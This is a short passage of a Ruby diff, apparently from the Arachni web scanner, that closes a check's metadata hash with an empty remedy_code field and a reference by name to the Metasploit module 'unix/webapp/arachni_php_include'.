184
+ :remedy_code => '',
185
+ :metasploitable => 'unix/webapp/arachni_php_include'
186
+ }
187
+
188
+ }
189
+ end
190
+
191
+ end
192
+ end
193
+ end